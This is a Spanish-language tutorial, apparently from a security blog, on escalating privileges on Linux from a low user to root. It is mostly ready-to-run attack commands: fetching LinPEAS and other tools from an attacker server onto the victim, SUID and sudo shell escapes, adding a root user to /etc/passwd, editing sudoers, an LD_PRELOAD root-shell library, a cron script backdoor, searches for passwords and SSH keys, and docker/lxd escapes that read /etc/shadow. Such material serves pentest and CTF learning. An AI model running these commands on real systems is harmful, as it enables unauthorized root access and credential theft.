← Volver al inicio
Privilege Escalation LinPEAS SUID Sudo Cron Linux
Avanzado

Escalada de Privilegios en Linux

15/07/2024

La escalada de privilegios consiste en explotar configuraciones incorrectas o vulnerabilidades para pasar de un usuario con pocos permisos (www-data, usuario normal) a root. Es una fase crítica en cualquier intrusión real o CTF.

1. Enumeración automática con LinPEAS

# Descargar y ejecutar LinPEAS desde el objetivo:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Transferir desde tu máquina atacante (servidor HTTP):
# En atacante:
python3 -m http.server 8000

# En víctima:
wget http://TU_IP:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh 2>/dev/null | tee /tmp/linpeas_output.txt

# Solo mostrar hallazgos de alta criticidad (amarillo/rojo):
/tmp/linpeas.sh -a 2>/dev/null | grep -E "\[.\+.\]|\[!\]"

2. Binarios SUID/SGID explotables

# Buscar binarios con bit SUID activado:
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# Buscar binarios SGID:
find / -perm -2000 -type f 2>/dev/null

# Ejemplos de binarios SUID peligrosos:
# /usr/bin/find — ejecutar comandos como root:
find /tmp -exec /bin/bash -p \; 2>/dev/null

# /usr/bin/vim — abrir shell:
vim -c ':!/bin/bash'

# /usr/bin/python3:
python3 -c 'import os; os.execl("/bin/bash","bash","-p")'

# /usr/bin/cp — sobrescribir /etc/passwd:
openssl passwd -1 hacked123
cp /etc/passwd /tmp/passwd.bak
echo "hacker:HASH_GENERADO:0:0:root:/root:/bin/bash" >> /etc/passwd
su hacker

3. Sudo mal configurado

# Ver qué puede ejecutar el usuario actual como sudo:
sudo -l

# Ejemplos típicos explotables:

# (ALL) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'

# (ALL) NOPASSWD: /usr/bin/find
sudo find / -exec /bin/bash \; -quit

# (ALL) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
# dentro de less: !bash

# (ALL) NOPASSWD: /usr/bin/nano o vim
sudo nano /etc/sudoers
# Añadir: tu_usuario ALL=(ALL) NOPASSWD: ALL

# sudo con variable de entorno (LD_PRELOAD):
# Si env_keep+=LD_PRELOAD en /etc/sudoers:
cat > /tmp/shell.c << 'EOF'
#include 
#include 
#include 
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0); setuid(0);
    system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so cualquier_comando_permitido

4. Tareas cron y scripts con permisos débiles

# Listar crons del sistema:
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.weekly/
crontab -l

# Monitorizar procesos para detectar crons en ejecución:
# Instalar pspy64 en la víctima:
wget http://TU_IP:8000/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64

# Si un cron ejecuta un script escribible por nosotros:
ls -la /ruta/al/script.sh
# Si tenemos escritura:
echo 'chmod +s /bin/bash' >> /ruta/al/script.sh
# Esperar a que se ejecute el cron, luego:
/bin/bash -p

5. Contraseñas en texto claro y credenciales

# Buscar contraseñas hardcodeadas en ficheros de configuración:
grep -r "password" /etc/ 2>/dev/null | grep -v "^Binary"
grep -r "passwd\|secret\|credential" /var/www/ 2>/dev/null
find / -name "*.conf" -o -name "*.config" -o -name "*.env" 2>/dev/null | xargs grep -l "password" 2>/dev/null

# Historial de comandos:
cat ~/.bash_history
cat ~/.zsh_history

# Ficheros interesantes en home:
find /home -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null
find /root -readable 2>/dev/null

# Base de datos SQLite con hashes:
find / -name "*.db" -o -name "*.sqlite" 2>/dev/null

6. Servicios internos (port forwarding)

# Ver puertos abiertos solo en localhost:
ss -tlnp
netstat -tlnp 2>/dev/null

# Si hay un servicio en 127.0.0.1:8080 no expuesto:
# Redirigir a nuestra máquina con SSH:
ssh -L 8080:127.0.0.1:8080 usuario@victima

# Acceder desde nuestro navegador a localhost:8080

7. Escalada por pertenencia a grupos

# Ver grupos del usuario actual:
id
groups

# Grupos peligrosos y su explotación:
# docker: montar el sistema de archivos del host:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# disk: leer bloques del disco directamente:
debugfs /dev/sda1
debugfs: cat /etc/shadow

# lxd/lxc: similar a Docker:
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test mydev disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test /bin/sh

# adm/syslog: leer logs del sistema:
cat /var/log/auth.log | grep "password"

8. Checklist de escalada de privilegios

VectorComando de verificación
SUID peligrososfind / -perm -4000 -type f 2>/dev/null
Sudo permisossudo -l
Crons del sistemacat /etc/crontab
Procesos en tiempo real./pspy64
Contraseñas en configsgrep -r "password" /etc/ 2>/dev/null
Puertos internosss -tlnp
Grupos peligrososid → docker, disk, lxd
Enumeración automática./linpeas.sh